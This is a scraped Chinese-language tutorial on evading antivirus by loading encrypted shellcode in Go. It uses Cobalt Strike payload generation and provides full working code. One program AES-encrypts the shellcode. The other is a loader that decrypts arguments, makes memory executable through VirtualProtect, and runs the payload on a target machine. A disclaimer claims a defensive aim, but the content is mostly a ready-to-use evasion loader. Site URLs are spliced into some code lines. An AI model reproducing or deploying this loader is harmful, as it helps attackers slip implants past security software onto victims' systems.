golang分离加载shellcode实现免杀

请遵守法律法规 , 文章旨在提高安全软件的应变策略 , 严禁非法使用 。
整体利用思路:生成器生成AES加密的Shellcode, 加载器代码中无Shellcode,参数接受 。
1. 生成shellcode以下以cs为例:attacks -> packages -> payload generator -> C

golang分离加载shellcode实现免杀

文章插图
 
2. 加密shellcode利用生成器生成aes加密的shellcode
package mainimport ("bytes""crypto/aes""crypto/cipher""encoding/base64""fmt""math/rand""time")var shellcode = []byte("xfcx48x83......")//随机生成key,后面用来解密的func key(l int) string {str := "0123456789abcdefghijklmnopqrstuvwxyz"bytes := []byte(str)result := []byte{}r := rand.New(rand.NewSource(time.Now().UnixNano()))for i := 0; i < l; i++ {result = Append(result, bytes[r.Intn(len(bytes))])}return string(result)}//使用PKCS5进行填充用来func PKCS5Padding(ciphertext []byte, blockSize int) []byte {padding := blockSize - len(ciphertext)%blockSizepadtext := bytes.Repeat([]byte{byte(padding)}, padding)return append(ciphertext, padtext...)}//进行aes加密func AesEncrypt(origData, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()origData = https://www.isolves.com/it/cxkf/yy/go/2022-12-02/PKCS5Padding(origData, blockSize)blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])crypted := make([]byte, len(origData))blockMode.CryptBlocks(crypted, origData)return crypted, nil}//主函数入口,对字符进行了处理func main() {key1 := key(16)fmt.Println("Key:", key1)var key []byte = []byte(key1)aes, _ := AesEncrypt(shellcode, key)encoded := base64.StdEncoding.EncodeToString(aes)fmt.Println("Code:", encoded)}
golang分离加载shellcode实现免杀

文章插图
 
3. 加载器执行shellcode上传加载器到目标机器 , 并且加载shellcode解密执行
加载器代码(通用):
// 交叉编译:CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.gopackage mainimport ("crypto/aes""crypto/cipher""encoding/base64""os""syscall""unsafe")//这一块是定义一些东西去加载我们的shellcodevar procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {ret, _, _ := procVirtualProtect.Call(uintptr(lpAddress),uintptr(dwSize),uintptr(flNewProtect),uintptr(lpflOldProtect))return ret > 0}//shellcode执行函数func Run(sc []byte) {f := func() {}var oldfperms uint32if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {panic("Call to VirtualProtect failed!")}**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))var oldshellcodeperms uint32if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {panic("Call to VirtualProtect failed!")}f()}//同样为了保证我们的shellcode正常运行要进行PKCS5的操作func PKCS5UnPadding(origData []byte) []byte {length := len(origData)unpadding := int(origData[length-1])return origData[:(length - unpadding)]}//经典的aes解密操作func AesDecrypt(crypted, key []byte) ([]byte, error) {block, err := aes.NewCipher(key)if err != nil {return nil, err}blockSize := block.BlockSize()blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])origData := make([]byte, len(crypted))blockMode.CryptBlocks(origData, crypted)origData = https://www.isolves.com/it/cxkf/yy/go/2022-12-02/PKCS5UnPadding(origData)return origData, nil}//运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcodefunc main() {key1 := os.Args[1]payload1 := os.Args[2]encoded2, _ := base64.StdEncoding.DecodeString(payload1)var key []byte = []byte(key1)AES, _ := AesDecrypt(encoded2, key)Run(AES)}
golang分离加载shellcode实现免杀

文章插图
 
 (注意:这里可能会出错 , 没有接收到session的话多尝试执行几次)
4. 参考
  • https://mp.weixin.qq.com/s/ycL0a4XBxReAzKD2VaQ3kg

【golang分离加载shellcode实现免杀】


    推荐阅读